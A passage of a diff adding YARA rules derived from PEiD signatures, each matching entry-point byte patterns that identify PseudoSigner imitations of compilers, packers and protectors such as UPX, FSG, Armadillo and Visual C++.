+rule PEiD_01821_PseudoSigner_0_1__Microsoft_Visual_Basic_5_0___6_0_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Microsoft Visual Basic 5.0 - 6.0] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 0A 00 00 00 00 00 00 00 00 00 30 00 00 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01822_PseudoSigner_0_1__Microsoft_Visual_Basic_6_0_DLL__
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Microsoft Visual Basic 6.0 DLL]]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 5A 68 90 90 90 90 68 90 90 90 90 52 E9 90 90 FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01823_PseudoSigner_0_1__Microsoft_Visual_C___5_0___MFC______Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Microsoft Visual C++ 5.0+ (MFC)] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01824_PseudoSigner_0_1__Microsoft_Visual_C___6_0__Debug_Version_______Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Microsoft Visual C++ 6.0 (Debug Version)] --> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 51 90 90 90 01 01 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 10 01 90 90 90 90 90 90 90 90 E8 00 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01825_PseudoSigner_0_1__Microsoft_Visual_C___6_0__Debug_Version___
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Microsoft Visual C++ 6.0 (Debug Version)]]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 51 90 90 90 01 01 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01826_PseudoSigner_0_1__Microsoft_Visual_C___6_20__
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Microsoft Visual C++ 6.20]]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 55 8B EC 83 EC 50 53 56 57 BE 90 90 90 90 8D 7D F4 A5 A5 66 A5 8B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01827_PseudoSigner_0_1__Microsoft_Visual_C___7_0_DLL_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Microsoft Visual C++ 7.0 DLL] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 8D 6C 01 00 81 EC 00 00 00 00 8B 45 90 83 F8 01 56 0F 84 00 00 00 00 85 C0 0F 84 ?? ?? ?? ?? E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01828_PseudoSigner_0_1__MinGW_GCC_2_x_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [MinGW GCC 2.x] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 E8 02 00 00 00 C9 C3 90 90 45 58 45 E9}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01829_PseudoSigner_0_1__Morphine_1_2______Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Morphine 1.2] --> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 EB 08 E8 90 00 00 00 66 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 51 66 90 90 90 59 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 E2 90 90 90 EB 08 82 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01830_PseudoSigner_0_1__Morphine_1_2__
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Morphine 1.2]]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 EB 08 E8 90 00 00 00 66 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 51 66 90 90 90 59 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01831_PseudoSigner_0_1__Neolite_2_0______Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Neolite 2.0] --> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {E9 A6 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01832_PseudoSigner_0_1__Neolite_2_0__
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Neolite 2.0]]"
+        ep_only = "true"
+    strings:
+        $a = {E9 A6 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01833_PseudoSigner_0_1__NorthStar_PE_Shrinker_1_3_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [NorthStar PE Shrinker 1.3] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 00 00 00 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01834_PseudoSigner_0_1__Pack_Master_1_0__PEX_Clone_______Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Pack Master 1.0 (PEX Clone)] --> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 01 00 00 E8 83 C4 04 E8 01 90 90 90 E9 5D 81 ED D3 22 40 90 E8 04 02 90 90 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 FF FF E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01835_PseudoSigner_0_1__Pack_Master_1_0__PEX_Clone___
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Pack Master 1.0 (PEX Clone)]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 01 00 00 E8 83 C4 04 E8 01 90 90 90 E9 5D 81 ED D3 22 40 90 E8 04 02 90 90 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01836_PseudoSigner_0_1__PE_Intro_1_0_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [PE Intro 1.0] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {8B 04 24 9C 60 E8 14 00 00 00 5D 81 ED 0A 45 40 90 80 BD 67 44 40 90 90 0F 85 48 FF ED 0A E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01837_PseudoSigner_0_1__PE_Pack_0_99_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [PE Pack 0.99] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 11 00 00 00 5D 83 ED 06 80 BD E0 04 90 90 01 0F 84 F2 FF CC 0A E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01838_PseudoSigner_0_1__PE_Protect_0_9_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [PE Protect 0.9] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 07 00 00 00 58 83 C0 07 C6 90 C3 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01839_PseudoSigner_0_1__PECompact_1_4___
+{
+    meta:
+        description = "[PseudoSigner 0.1 [PECompact 1.4+]]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 EB 06 68 90 90 90 90 C3 9C 60 E8 02 90 90 90 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01840_PseudoSigner_0_1__PENightMare_2_Beta_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [PENightMare 2 Beta] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 E9 10 00 00 00 EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C 3A E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01841_PseudoSigner_0_1__PENinja_1_31_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [PENinja 1.31] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01842_PseudoSigner_0_1__PESHiELD_0_25_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [PESHiELD 0.25] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 2B 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 CC CC E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01843_PseudoSigner_0_1__PEtite_2_x__level_0___
+{
+    meta:
+        description = "[PseudoSigner 0.1 [PEtite 2.x (level 0)]]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 B8 00 90 90 00 6A 00 68 90 90 90 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 8B D8 03 00 68}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01844_PseudoSigner_0_1__PEX_0_99_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [PEX 0.99] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 00 00 00 55 83 C4 04 E8 01 00 00 00 90 5D 81 FF FF FF 00 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01845_PseudoSigner_0_1__REALBasic_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [REALBasic] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 90 90 90 90 90 90 90 90 90 90 50 90 90 90 90 90 00 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01846_PseudoSigner_0_1__Ste_lth_PE_1_01__
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Ste@lth PE 1.01]]"
+        ep_only = "true"
+    strings:
+        $a = {0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 BA ?? ?? ?? ?? FF E2 BA E0 10 40 00 B8 68 24 1A 40 89 02 83 C2 03 B8 40 00 E8 EE 89 02 83 C2 FD FF E2 2D 3D 5B 20 48 69 64 65 50 45 20 5D 3D 2D 90 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01847_PseudoSigner_0_1__UPX_0_6_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [UPX 0.6] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 00 00 00 FF 57 8D B0 E8 00 00 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01848_PseudoSigner_0_1__VBOX_4_3_MTE_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [VBOX 4.3 MTE] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01849_PseudoSigner_0_1__Video_Lan_Client_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Video-Lan-Client] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 90 90 90 90 90 90 90 90 90 90 90 90 90 90 01 FF FF 01 01 01 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 00 01 00 01 90 90 00 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01850_PseudoSigner_0_1__VOB_ProtectCD_5_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [VOB ProtectCD 5] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {36 3E 26 8A C0 60 E8 00 00 00 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01851_PseudoSigner_0_1__WATCOM_C_C___EXE_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [WATCOM C/C++ EXE] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {E9 00 00 00 00 90 90 90 90 57 41 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01852_PseudoSigner_0_1__XCR_0_11_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [XCR 0.11] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 8B F0 33 DB 83 C3 01 83 C0 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01853_PseudoSigner_0_1__Yoda_s_Protector_1_02_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Yoda's Protector 1.02] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 90 90 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01854_PseudoSigner_0_2___BJFNT_1_1b__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [.BJFNT 1.1b]]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 EA 9C EB 01 EA 53 EB 01 EA 51 EB 01 EA 52 EB 01 EA 56 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01855_PseudoSigner_0_2___BJFNT_1_2__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [.BJFNT 1.2]]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 69 B1 83 EC 04 EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01856_PseudoSigner_0_2__32Lite_0_03_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.2 [32Lite 0.03] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 06 FC 1E 07 BE 90 90 90 90 6A 04 68 90 10 90 90 68}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01857_PseudoSigner_0_2__Armadillo_3_00__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Armadillo 3.00]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 2A 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 85}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01858_PseudoSigner_0_2__ASProtect__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [ASProtect]]"
+        ep_only = "true"
+    strings:
+        $a = {60 90 90 90 90 90 90 5D 90 90 90 90 90 90 90 90 90 90 90 03 DD}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01859_PseudoSigner_0_2__Borland_C___1999_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Borland C++ 1999] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 90 90 90 90 A1 ?? ?? ?? ?? A3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01860_PseudoSigner_0_2__Borland_C___DLL__Method_2___
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Borland C++ DLL (Method 2)]]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 90 90 90 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01861_PseudoSigner_0_2__Borland_Delphi_DLL__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Borland Delphi DLL]]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 B4 B8 90 90 90 90 E8 00 00 00 00 E8 00 00 00 00 8D 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01862_PseudoSigner_0_2__Borland_Delphi_Setup_Module__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Borland Delphi Setup Module]]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 90 53 56 57 33 C0 89 45 F0 89 45 D4 89 45 D0 E8 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01863_PseudoSigner_0_2__CD_Cops_II__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [CD-Cops II]]"
+        ep_only = "true"
+    strings:
+        $a = {53 60 BD 90 90 90 90 8D 45 90 8D 5D 90 E8 00 00 00 00 8D 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01864_PseudoSigner_0_2__Code_Lock__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Code-Lock]]"
+        ep_only = "true"
+    strings:
+        $a = {43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00 01 28 01 50 4B 47 05 4C 3F B4 04 4D 4C 47 4B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01865_PseudoSigner_0_2__CodeSafe_2_0__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [CodeSafe 2.0]]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 10 53 56 57 E8 C4 01 00 85}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01866_PseudoSigner_0_2__Crunch_PE_Heuristic__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Crunch/PE Heuristic]]"
+        ep_only = "true"
+    strings:
+        $a = {55 E8 0E 00 00 00 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01867_PseudoSigner_0_2__DEF_1_0__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [DEF 1.0]]"
+        ep_only = "true"
+    strings:
+        $a = {BE 00 01 40 00 6A 05 59 80 7E 07 00 74 11 8B 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 83 C1 01}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01868_PseudoSigner_0_2__DxPack_1_0__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [DxPack 1.0]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 8B FD 81 ED 90 90 90 90 2B B9 00 00 00 00 81 EF 90 90 90 90 83 BD 90 90 90 90 90 0F 84 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01869_PseudoSigner_0_2__ExeSmasher__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [ExeSmasher]]"
+        ep_only = "true"
+    strings:
+        $a = {9C FE 03 90 60 BE 90 90 41 90 8D BE 90 10 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 FE 0B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01870_PseudoSigner_0_2__FSG_1_0__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [FSG 1.0]]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 BB D0 01 40 00 BF 00 10 40 00 BE 90 90 90 90 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01871_PseudoSigner_0_2__FSG_1_31__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [FSG 1.31]]"
+        ep_only = "true"
+    strings:
+        $a = {BE 90 90 90 00 BF 90 90 90 00 BB 90 90 90 00 53 BB 90 90 90 00 B2 80}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01872_PseudoSigner_0_2__Gleam_1_00__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Gleam 1.00]]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 0C 53 56 57 E8 24 02 00 FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01873_PseudoSigner_0_2__JDPack_1_x___JDProtect_0_9__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [JDPack 1.x / JDProtect 0.9]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 22 00 00 00 5D 8B D5 81 ED 90 90 90 90 2B 95 90 90 90 90 81 EA 06 90 90 90 89 95 90 90 90 90 83 BD 45 00 01 00 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01874_PseudoSigner_0_2__LCC_Win32_1_x__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [LCC Win32 1.x]]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 01 00 00 00 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 9A 10 40 90 50}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01875_PseudoSigner_0_2__LCC_Win32_DLL_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.2 [LCC Win32 DLL] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 90 90 90 FF 75 10 FF 75 0C FF 75 08 A1}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01876_PseudoSigner_0_2__Lockless_Intro_Pack__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Lockless Intro Pack]]"
+        ep_only = "true"
+    strings:
+        $a = {2C E8 EB 1A 90 90 5D 8B C5 81 ED F6 73 90 90 2B 85 90 90 90 90 83 E8 06 89 85 FF 01 EC AD}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01877_PseudoSigner_0_2__Macromedia_Flash_Projector_6_0__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Macromedia Flash Projector 6.0]]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 83 EC 44 56 FF 15 24 81 49 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01878_PseudoSigner_0_2__MEW_11_SE_1_0__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [MEW 11 SE 1.0]]"
+        ep_only = "true"
+    strings:
+        $a = {E9 09 00 00 00 00 00 00 02 00 00 00 0C 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01879_PseudoSigner_0_2__Microsoft_Visual_Basic_5_0___6_0__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Microsoft Visual Basic 5.0 - 6.0]]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 0A 00 00 00 00 00 00 00 00 00 30 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01880_PseudoSigner_0_2__Microsoft_Visual_C___7_0_DLL_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Microsoft Visual C++ 7.0 DLL] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 8D 6C 01 00 81 EC 00 00 00 00 8B 45 90 83 F8 01 56 0F 84 00 00 00 00 85 C0 0F 84}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01881_PseudoSigner_0_2__MinGW_GCC_2_x__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [MinGW GCC 2.x]]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 E8 02 00 00 00 C9 C3 90 90 45 58 45}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01882_PseudoSigner_0_2__NorthStar_PE_Shrinker_1_3__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [NorthStar PE Shrinker 1.3]]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01883_PseudoSigner_0_2__PE_Intro_1_0__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [PE Intro 1.0]]"
+        ep_only = "true"
+    strings:
+        $a = {8B 04 24 9C 60 E8 14 00 00 00 5D 81 ED 0A 45 40 90 80 BD 67 44 40 90 90 0F 85 48 FF ED 0A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01884_PseudoSigner_0_2__PE_Pack_0_99__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [PE Pack 0.99]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 11 00 00 00 5D 83 ED 06 80 BD E0 04 90 90 01 0F 84 F2 FF CC 0A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01885_PseudoSigner_0_2__PE_Protect_0_9__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [PE Protect 0.9]]"
+        ep_only = "true"
